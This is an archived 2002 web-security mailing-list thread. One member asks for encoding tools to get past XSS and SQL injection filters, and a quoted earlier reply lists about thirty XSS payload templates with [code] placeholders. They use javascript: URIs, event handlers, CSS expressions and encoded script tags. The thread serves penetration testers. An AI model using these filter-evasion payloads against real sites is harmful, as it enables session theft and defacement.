WebApp Sec mailing list archives

encoder

From: "N30" <n30_lists () hotmail com>
Date: Thu, 19 Dec 2002 14:10:17 -0800

Hi group,

Any links/resources/scripts to conver ASCII characters to unicode / html
encode /double decode?
Testing web apps for XSS & SQL injections, a lot of times, sites filter out
<> but forget to filter encoded versions of <>.

Thanks in advance
-N




---- Original Message -----
From: "Tomas" <tomasg () extra lt>
To: <webappsec () securityfocus com>
Sent: Monday, December 16, 2002 3:42 AM
Subject: Re: XSS Strings

Hi.

here are some more examples:

<a href="javas&#99;ript&#35;[code]">
  <div onmouseover="[code]">
  <img src="javascript:[code]">
  <img dynsrc="javascript:[code]"> [IE]
  <input type="image" dynsrc="javascript:[code]"> [IE]
  <bgsound src="javascript:[code]"> [IE]
  &<script>[code]</script>
  &{[code]}; [N4]
  <img src=&{[code]};> [N4]
  <link rel="stylesheet" href="javascript:[code]">
  <iframe src="vbscript:[code]"> [IE]
  <img src="mocha:[code]"> [N4]
  <img src="livescript:[code]"> [N4]
  <a href="about:<s&#99;ript>[code]</script>">
  <meta http-equiv="refresh" content="0;url=javascript:[code]">
  <body onload="[code]">
  <div style="background-image: url(javascript:[code]);">
  <div style="behaviour: url([link to code]);"> [IE]
  <div style="binding: url([link to code]);"> [Mozilla]
  <div style="width: expression([code]);"> [IE]
  <style type="text/javascript">[code]</style> [N4]
  <object classid="clsid:..." codebase="javascript:[code]"> [IE]
  <style><!--</style><script>[code]//--></script>
  <![CDATA[<!--]]><script>[code]//--></script>
  <!-- -- --><script>[code]</script><!-- -- -->
  <<script>[code]</script>
  <img src="blah"onmouseover="[code]">
  <img src="blah>" onmouseover="[code]">
  <xml src="javascript:[code]">
  <xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
    <div datafld="b" dataformatas="html" datasrc="#X"></div>
  [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]



Tomas


----- Original Message -----
From: <securityarchitect () hush com>
To: <webappsec () securityfocus com>
Sent: Monday, December 16, 2002 9:54 AM
Subject: XSS Strings

Does anyone have a good list of payloads that will cover the majority of

the options ?

Current thread:

XSS Strings securityarchitect (Dec 16)
- Re: XSS Strings Martin Eiszner (Dec 16)
- Re: XSS Strings Jeroen Latour (Dec 16)
- RE: XSS Strings Glyn (Dec 16)
- Re: XSS Strings Tomas (Dec 16)
  - encoder N30 (Dec 19)
    - Re: encoder Kevin Spett (Dec 19)